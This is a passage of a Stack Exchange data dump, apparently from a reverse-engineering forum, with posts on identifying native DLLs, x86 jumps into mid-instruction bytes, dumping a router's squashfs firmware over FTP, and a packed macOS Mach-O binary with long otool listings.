loaded in that process, but it is native and does not have such a line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:008&amp;gt; lmv m mscorwks&#xA;start    end        module name&#xA;79470000 79a1e000   mscorwks   (pdb symbols)          d:\...\mscorwks.pdb&#xA;    Loaded symbol image file: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll&#xA;    Image path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll&#xA;    Image name: mscorwks.dll&#xA;    Timestamp:        Tue Oct 22 03:06:42 2013 (5265CFA2)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are good reasons to use native DLLs by a managed application:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;because it's already implemented and stable&lt;/li&gt;&#xA;&lt;li&gt;for performance reasons: maybe C++ was just faster (maybe not in your case, since you don't seem to be happy with the performance)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PhotoViewer.dll&lt;/code&gt; is a native DLL, even if dotPeek says &quot;Platform: .Net Framework 4.5&quot;. This seems to be a bug, because it also reports .NET for &lt;code&gt;kernel32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The properties &lt;code&gt;Assembly platform&lt;/code&gt; and &lt;code&gt;Module Runtime&lt;/code&gt; seem to be a bit inconsistent anyway. Here are some combinations I tried that caused results which at least would need some explanation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;kernel32: Platform 4.5, Runtime: none&lt;/li&gt;&#xA;&lt;li&gt;Jigfdt.fdt100: Platform 2.0, Runtime: 1.1.4322&lt;/li&gt;&#xA;&lt;li&gt;Fdt.ProfibusTransformers: Platform 4.0, Runtime 2.0.50727&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another way of detecting .NET is &lt;a href=&quot;http://dependencywalker.com/&quot; rel=&quot;nofollow&quot;&gt;Dependency Walker&lt;/a&gt;. A pure .NET assembly typically has only one dependency on &lt;code&gt;mscoree.dll&lt;/code&gt; while native DLLs depend on different things.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditDate="2014-07-11T06:13:17.203" LastActivityDate="2014-07-11T06:13:17.203" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4816" PostTypeId="2" ParentId="4798" CreationDate="2014-07-09T08:26:42.850" Score="4" Body="&lt;p&gt;I wouldn't go that far and state that the output provided by &lt;code&gt;objdump&lt;/code&gt; isn't correct. True, Linear Sweep doesn't handle data properly, and jump tables &amp;amp; shellcodes are usually a source of disassembly errors. But still, this isn't an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take a closer look at your code you'll notice you have &lt;code&gt;je&lt;/code&gt;. Meaning, the jump is taken only if the previous instruction - which is certainly a &lt;code&gt;cmp&lt;/code&gt; or a &lt;code&gt;test&lt;/code&gt; - returns true. The &lt;code&gt;x86&lt;/code&gt; ISA (instruction set) allows to jump in the middle of instructions, or a byte stream if you like. And this is sometimes used to avoid certain prefixes like &lt;code&gt;rep&lt;/code&gt;, ..., and in your case a &lt;code&gt;lock&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm 100% sure the output provided is correct and that the programmer (or the compiler) used this trick to avoid unnecessary additional code.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-07-09T08:26:42.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4817" PostTypeId="1" AcceptedAnswerId="4819" CreationDate="2014-07-09T09:04:04.573" Score="4" ViewCount="11516" Body="&lt;p&gt;This is my first attempt at doing some reverse engineering. I'm trying to dump the filesystem off a huawei hg523a TalkTalk router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is its quite limited in the amount of programs that are on the device. Below are a list of programs i can use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BusyBox vv1.9.1 (2012-03-05 00:16:52 CST) multi-call binary&#xA;Currently defined functions:&#xA;        [, [[, arp, ash, cat, chmod, chown, cp, date, echo, ftpget,&#xA;        ftpput, halt, ifconfig, init, kill, killall, linuxrc,&#xA;        ln, ls, mcast, mkdir, mknod, mount, netstat, nslookup,&#xA;        ping, poweroff, ps, reboot, rm, route, sh, sleep, test,&#xA;        top, traceroute, umount, vconfig, wget&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So im trying to extract the filesystem to another linux machine so i can go through it more eaisely. I can upload single files with the ftpput command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /proc/mtd&#xA;dev:    size   erasesize  name&#xA;mtd0: 00010000 00001000 &quot;boot&quot;&#xA;mtd1: 00001000 00001000 &quot;flag&quot;&#xA;mtd2: 003c0000 00001000 &quot;main&quot;&#xA;mtd3: 0002d000 00001000 &quot;config&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What im trying to do is upload mtdblock0-3 and then mount this on my other machine to explore the folder structure etc.. It looks like from /proc/mounts that it is a squashfs file system.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /proc/mounts&#xA;rootfs / rootfs rw 0 0&#xA;/dev/root / squashfs ro 0 0&#xA;none /dev tmpfs rw 0 0&#xA;/proc /proc proc rw 0 0&#xA;none /var tmpfs rw 0 0&#xA;none /tmp tmpfs rw 0 0&#xA;none /mnt tmpfs rw 0 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically i upload the mtdblock0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ftpput -s -v -u james -p password -l /dev/mtdblock0 -r ftpdir/mtdblock0 192.168.1.64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and mount it on the other computer with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~/Desktop/talktalk/blocks# mount -t squashfs mtdblock0 /mnt&#xA;mount: wrong fs type, bad option, bad superblock on /dev/loop0,&#xA;       missing codepage or helper program, or other error&#xA;       In some cases useful info is found in syslog - try&#xA;       dmesg | tail  or so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anyone guide me in the right direction as to what i might be doing wrong? So it not possible to transfer the filesystem in this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-03-09T17:38:42.347" Title="Dumping firmware through mtdblock device" Tags="|firmware|embedded|dumping|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4818" PostTypeId="1" CreationDate="2014-07-09T11:41:28.107" Score="2" ViewCount="3237" Body="&lt;p&gt;I am trying to reverse an OSX mach-o binary,&lt;br&gt;&#xA;Disassembling gives me a bullshit, seems its encrypted with some packer.&lt;br&gt;&#xA;I need to determine the encryption algorithm, and decrypt the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Load Commands&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;Here is &lt;code&gt;otool -l calculator&lt;/code&gt;  output,&lt;/strong&gt;&lt;br&gt;&#xA;(seems there is no any crypt information... but it's encrypted)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Load command 0&#xA;      cmd LC_SEGMENT_64&#xA;  cmdsize 72&#xA;  segname __PAGEZERO&#xA;   vmaddr 0x0000000000000000&#xA;   vmsize 0x0000000100000000&#xA;  fileoff 0&#xA; filesize 0&#xA;  maxprot 0x00000000&#xA; initprot 0x00000000&#xA;   nsects 0&#xA;    flags 0x0&#xA;Load command 1&#xA;      cmd LC_SEGMENT_64&#xA;  cmdsize 1032&#xA;  segname __TEXT&#xA;   vmaddr 0x0000000100000000&#xA;   vmsize 0x000000000032f000&#xA;  fileoff 0&#xA; filesize 3338240&#xA;  maxprot 0x00000007&#xA; initprot 0x00000007&#xA;   nsects 12&#xA;    flags 0x0&#xA;Section&#xA;  sectname __text&#xA;   segname __TEXT&#xA;      addr 0x0000000100001760&#xA;      size 0x000000000028f4bc&#xA;    offset 5984&#xA;     align 2^4 (16)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x80000400&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __stubs&#xA;   segname __TEXT&#xA;      addr 0x0000000100290c1c&#xA;      size 0x0000000000000762&#xA;    offset 2690076&#xA;     align 2^1 (2)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x80000408&#xA; reserved1 0 (index into indirect symbol table)&#xA; reserved2 6 (size of stubs)&#xA;Section&#xA;  sectname __stub_helper&#xA;   segname __TEXT&#xA;      addr 0x0000000100291380&#xA;      size 0x0000000000000c5e&#xA;    offset 2691968&#xA;     align 2^2 (4)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x80000400&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_methname&#xA;   segname __TEXT&#xA;      addr 0x0000000100291fde&#xA;      size 0x0000000000015697&#xA;    offset 2695134&#xA;     align 2^0 (1)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000002&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __cstring&#xA;   segname __TEXT&#xA;      addr 0x00000001002a7680&#xA;      size 0x0000000000023fdc&#xA;    offset 2782848&#xA;     align 2^4 (16)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000002&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __const&#xA;   segname __TEXT&#xA;      addr 0x00000001002cb660&#xA;      size 0x0000000000006b50&#xA;    offset 2930272&#xA;     align 2^4 (16)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __ustring&#xA;   segname __TEXT&#xA;      addr 0x00000001002d21b0&#xA;      size 0x00000000000007de&#xA;    offset 2957744&#xA;     align 2^1 (2)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_classname&#xA;   segname __TEXT&#xA;      addr 0x00000001002d298e&#xA;      size 0x0000000000000b42&#xA;    offset 2959758&#xA;     align 2^0 (1)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000002&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_methtype&#xA;   segname __TEXT&#xA;      addr 0x00000001002d34d0&#xA;      size 0x00000000000069c4&#xA;    offset 2962640&#xA;     align 2^0 (1)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000002&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __gcc_except_tab&#xA;   segname __TEXT&#xA;      addr 0x00000001002d9e94&#xA;      size 0x0000000000007b48&#xA;    offset 2989716&#xA;     align 2^2 (4)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __unwind_info&#xA;   segname __TEXT&#xA;      addr 0x00000001002e19dc&#xA;      size 0x0000000000002814&#xA;    offset 3021276&#xA;     align 2^0 (1)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __eh_frame&#xA;   segname __TEXT&#xA;      addr 0x00000001002e41f0&#xA;      size 0x000000000004ae08&#xA;    offset 3031536&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Load command 2&#xA;      cmd LC_SEGMENT_64&#xA;  cmdsize 1832&#xA;  segname __DATA&#xA;   vmaddr 0x000000010032f000&#xA;   vmsize 0x0000000000160000&#xA;  fileoff 3338240&#xA; filesize 1396736&#xA;  maxprot 0x00000007&#xA; initprot 0x00000003&#xA;   nsects 22&#xA;    flags 0x0&#xA;Section&#xA;  sectname __program_vars&#xA;   segname __DATA&#xA;      addr 0x000000010032f000&#xA;      size 0x0000000000000028&#xA;    offset 3338240&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __nl_symbol_ptr&#xA;   segname __DATA&#xA;      addr 0x000000010032f028&#xA;      size 0x0000000000000010&#xA;    offset 3338280&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000006&#xA; reserved1 315 (index into indirect symbol table)&#xA; reserved2 0&#xA;Section&#xA;  sectname __got&#xA;   segname __DATA&#xA;      addr 0x000000010032f038&#xA;      size 0x0000000000000218&#xA;    offset 3338296&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000006&#xA; reserved1 317 (index into indirect symbol table)&#xA; reserved2 0&#xA;Section&#xA;  sectname __la_symbol_ptr&#xA;   segname __DATA&#xA;      addr 0x000000010032f250&#xA;      size 0x00000000000009d8&#xA;    offset 3338832&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000007&#xA; reserved1 384 (index into indirect symbol table)&#xA; reserved2 0&#xA;Section&#xA;  sectname __pointers&#xA;   segname __DATA&#xA;      addr 0x000000010032fc28&#xA;      size 0x0000000000000008&#xA;    offset 3341352&#xA;     align 2^0 (1)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __const&#xA;   segname __DATA&#xA;      addr 0x000000010032fc30&#xA;      size 0x00000000000051d0&#xA;    offset 3341360&#xA;     align 2^4 (16)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_classlist&#xA;   segname __DATA&#xA;      addr 0x0000000100334e00&#xA;      size 0x00000000000002f8&#xA;    offset 3362304&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x10000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_nlclslist&#xA;   segname __DATA&#xA;      addr 0x00000001003350f8&#xA;      size 0x0000000000000008&#xA;    offset 3363064&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x10000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_catlist&#xA;   segname __DATA&#xA;      addr 0x0000000100335100&#xA;      size 0x0000000000000048&#xA;    offset 3363072&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x10000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_protolist&#xA;   segname __DATA&#xA;      addr 0x0000000100335148&#xA;      size 0x0000000000000158&#xA;    offset 3363144&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_imageinfo&#xA;   segname __DATA&#xA;      addr 0x00000001003352a0&#xA;      size 0x0000000000000008&#xA;    offset 3363488&#xA;     align 2^2 (4)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_const&#xA;   segname __DATA&#xA;      addr 0x00000001003352a8&#xA;      size 0x000000000002c718&#xA;    offset 3363496&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_selrefs&#xA;   segname __DATA&#xA;      addr 0x00000001003619c0&#xA;      size 0x0000000000004c70&#xA;    offset 3545536&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x10000005&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_protorefs&#xA;   segname __DATA&#xA;      addr 0x0000000100366630&#xA;      size 0x0000000000000028&#xA;    offset 3565104&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_classrefs&#xA;   segname __DATA&#xA;      addr 0x0000000100366658&#xA;      size 0x0000000000000530&#xA;    offset 3565144&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x10000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_superrefs&#xA;   segname __DATA&#xA;      addr 0x0000000100366b88&#xA;      size 0x0000000000000218&#xA;    offset 3566472&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x10000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_data&#xA;   segname __DATA&#xA;      addr 0x0000000100366da0&#xA;      size 0x0000000000001e00&#xA;    offset 3567008&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __objc_ivar&#xA;   segname __DATA&#xA;      addr 0x0000000100368ba0&#xA;      size 0x0000000000001888&#xA;    offset 3574688&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __cfstring&#xA;   segname __DATA&#xA;      addr 0x000000010036a428&#xA;      size 0x000000000000ff60&#xA;    offset 3580968&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __data&#xA;   segname __DATA&#xA;      addr 0x000000010037a390&#xA;      size 0x0000000000109c38&#xA;    offset 3646352&#xA;     align 2^4 (16)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000000&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __bss&#xA;   segname __DATA&#xA;      addr 0x0000000100483fd0&#xA;      size 0x000000000000a898&#xA;    offset 0&#xA;     align 2^4 (16)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000001&#xA; reserved1 0&#xA; reserved2 0&#xA;Section&#xA;  sectname __common&#xA;   segname __DATA&#xA;      addr 0x000000010048e868&#xA;      size 0x00000000000004a8&#xA;    offset 0&#xA;     align 2^3 (8)&#xA;    reloff 0&#xA;    nreloc 0&#xA;     flags 0x00000001&#xA; reserved1 0&#xA; reserved2 0&#xA;Load command 3&#xA;      cmd LC_SEGMENT_64&#xA;  cmdsize 72&#xA;  segname __LINKEDIT&#xA;   vmaddr 0x000000010048f000&#xA;   vmsize 0x000000000001b000&#xA;  fileoff 4734976&#xA; filesize 108304&#xA;  maxprot 0x00000007&#xA; initprot 0x00000001&#xA;   nsects 0&#xA;    flags 0x0&#xA;Load command 4&#xA;            cmd LC_DYLD_INFO_ONLY&#xA;        cmdsize 48&#xA;     rebase_off 4734976&#xA;    rebase_size 10256&#xA;       bind_off 4745232&#xA;      bind_size 6696&#xA;  weak_bind_off 4751928&#xA; weak_bind_size 40&#xA;  lazy_bind_off 4751968&#xA; lazy_bind_size 8056&#xA;     export_off 4760024&#xA;    export_size 28752&#xA;Load command 5&#xA;     cmd LC_SYMTAB&#xA; cmdsize 24&#xA;  symoff 4788776&#xA;   nsyms 492&#xA;  stroff 4799444&#xA; strsize 10680&#xA;Load command 6&#xA;            cmd LC_DYSYMTAB&#xA;        cmdsize 80&#xA;      ilocalsym 0&#xA;      nlocalsym 1&#xA;     iextdefsym 1&#xA;     nextdefsym 1&#xA;      iundefsym 2&#xA;      nundefsym 490&#xA;         tocoff 0&#xA;           ntoc 0&#xA;      modtaboff 0&#xA;        nmodtab 0&#xA;   extrefsymoff 0&#xA;    nextrefsyms 0&#xA; indirectsymoff 4796648&#xA;  nindirectsyms 699&#xA;      extreloff 0&#xA;        nextrel 0&#xA;      locreloff 0&#xA;        nlocrel 0&#xA;Load command 7&#xA;          cmd LC_LOAD_DYLINKER&#xA;      cmdsize 32&#xA;         name /usr/lib/dyld (offset 12)&#xA;Load command 8&#xA;     cmd LC_UUID&#xA; cmdsize 24&#xA;    uuid 1AF510C1-9C81-3DCA-9ADE-2B00ED53EF5F&#xA;Load command 9&#xA;      cmd LC_VERSION_MIN_MACOSX&#xA;  cmdsize 16&#xA;  version 10.7&#xA;      sdk 10.9&#xA;Load command 10&#xA;        cmd LC_UNIXTHREAD&#xA;    cmdsize 184&#xA;     flavor x86_THREAD_STATE64&#xA;      count x86_THREAD_STATE64_COUNT&#xA;   rax  0x0000000000000000 rbx 0x0000000000000000 rcx  0x0000000000000000&#xA;   rdx  0x0000000000000000 rdi 0x0000000000000000 rsi  0x0000000000000000&#xA;   rbp  0x0000000000000000 rsp 0x0000000000000000 r8   0x0000000000000000&#xA;    r9  0x0000000000000000 r10 0x0000000000000000 r11  0x0000000000000000&#xA;   r12  0x0000000000000000 r13 0x0000000000000000 r14  0x0000000000000000&#xA;   r15  0x0000000000000000 rip 0x0000000100001760&#xA;rflags  0x0000000000000000 cs  0x0000000000000000 fs   0x0000000000000000&#xA;    gs  0x0000000000000000&#xA;Load command 11&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 88&#xA;         name @loader_path/../Frameworks/Sparkle.framework/Versions/A/Sparkle (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 1.5.0&#xA;compatibility version 1.5.0&#xA;Load command 12&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 56&#xA;         name @rpath/libLLVM-3.4.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 0.0.0&#xA;compatibility version 0.0.0&#xA;Load command 13&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 56&#xA;         name /usr/lib/libexpat.1.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 7.2.0&#xA;compatibility version 7.0.0&#xA;Load command 14&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 88&#xA;         name /System/Library/Frameworks/Python.framework/Versions/2.7/Python (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 2.7.5&#xA;compatibility version 2.7.0&#xA;Load command 15&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 56&#xA;         name /usr/lib/libncurses.5.4.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 5.4.0&#xA;compatibility version 5.4.0&#xA;Load command 16&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 56&#xA;         name /usr/lib/libSystem.B.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 1197.1.1&#xA;compatibility version 1.0.0&#xA;Load command 17&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 56&#xA;         name /usr/lib/libcrypto.0.9.8.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 50.0.0&#xA;compatibility version 0.9.8&#xA;Load command 18&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 48&#xA;         name /usr/lib/libc++.1.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 120.0.0&#xA;compatibility version 1.0.0&#xA;Load command 19&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 48&#xA;         name /usr/lib/libz.1.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 1.2.5&#xA;compatibility version 1.0.0&#xA;Load command 20&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 96&#xA;         name /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 1.8.0&#xA;compatibility version 1.2.0&#xA;Load command 21&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 88&#xA;         name /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 275.0.0&#xA;compatibility version 1.0.0&#xA;Load command 22&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 88&#xA;         name /System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 20.0.0&#xA;compatibility version 1.0.0&#xA;Load command 23&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 96&#xA;         name /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 1056.13.0&#xA;compatibility version 300.0.0&#xA;Load command 24&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 56&#xA;         name /usr/lib/libobjc.A.dylib (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 228.0.0&#xA;compatibility version 1.0.0&#xA;Load command 25&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 88&#xA;         name /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 1265.19.0&#xA;compatibility version 45.0.0&#xA;Load command 26&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 112&#xA;         name /System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 48.0.0&#xA;compatibility version 1.0.0&#xA;Load command 27&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 104&#xA;         name /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 59.0.0&#xA;compatibility version 1.0.0&#xA;Load command 28&#xA;          cmd LC_LOAD_DYLIB&#xA;      cmdsize 104&#xA;         name /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (offset 24)&#xA;   time stamp 2 Thu Jan  1 04:00:02 1970&#xA;      current version 855.14.0&#xA;compatibility version 150.0.0&#xA;Load command 29&#xA;          cmd LC_RPATH&#xA;      cmdsize 48&#xA;         path @executable_path/../Frameworks (offset 12)&#xA;Load command 30&#xA;      cmd LC_DATA_IN_CODE&#xA;  cmdsize 16&#xA;  dataoff 4788776&#xA; datasize 0&#xA;Load command 31&#xA;      cmd LC_CODE_SIGNATURE&#xA;  cmdsize 16&#xA;  dataoff 4810128&#xA; datasize 33152&#xA;&lt;/pre&gt;  &#xA;&#xA;&lt;p&gt;&lt;strong&gt;Diassembling&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;Here is &lt;code&gt;otool -tvV calculator&lt;/code&gt; output chunk&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;0000000100001760    lahf&#xA;0000000100001761    popq    %rcx&#xA;0000000100001763    rolb    $0xe2,0xc3c024ac(%rax)&#xA;000000010000176a    jne 0x1000016ef&#xA;000000010000176c    .byte 0x06 #bad opcode&#xA;000000010000176d    sbbb    %al,0x5b(%rsi)&#xA;0000000100001770    jle 0x10000178f&#xA;0000000100001772    xorl    %edi,0x30659afe(%rsi)&#xA;0000000100001778    fldenvq 0xc9e9c0e1(%r14)&#xA;000000010000177f    xorl    %esp,%esp&#xA;0000000100001781    xchgl   %esp,%eax&#xA;0000000100001782    xchgl   %esi,%eax&#xA;0000000100001783    wait/jrcxz  0x1000017ed&#xA;0000000100001786    stosl   %eax,(%edi)&#xA;0000000100001787    xchgl   %edi,%eax&#xA;0000000100001788    jbe 0x100001727&#xA;000000010000178a    stc&#xA;000000010000178b    jns 0x100001748&#xA;000000010000178d    xorl    %ecx,0x13(%rbx,%rbx,8)&#xA;0000000100001791    popq    %rax&#xA;0000000100001793    sbbl    $0xe9507796,%eax&#xA;0000000100001798    popq    %rbx&#xA;0000000100001799    incb    (%rbx)&#xA;000000010000179b    js  0x100001778&#xA;000000010000179e    addb    %ch,%bh&#xA;00000001000017a0    testl   0xe4(%rcx),%ebp&#xA;00000001000017a3    imull   $0xfe,0xf6(%rcx),%esp&#xA;00000001000017a7    clc&#xA;00000001000017a8    imull   $0x85bb1b76,0x65(%rdx),%ebp&#xA;00000001000017af    cld&#xA;00000001000017b0    testb   0xc9(%rax),%cl&#xA;00000001000017b3    loop    0x10000175d&#xA;00000001000017b5    andb    %ah,0x4c79a1ae(%rax)&#xA;00000001000017bb    orl 0x90da6a05(%rbp,%rdx),%esi&#xA;00000001000017c2    sbbb    %ch,%ch&#xA;00000001000017c4    jrcxz   0x100001780&#xA;00000001000017c6    xorb    $0x6c,%al&#xA;00000001000017c8    jne 0x1000017b9&#xA;00000001000017ca    orb %cl,0x13(%rcx,%rsi)&#xA;00000001000017ce    ficompl 0x7d4a8745(%rbp)&#xA;00000001000017d4    .byte 0x07 #bad opcode&#xA;00000001000017d5    mov 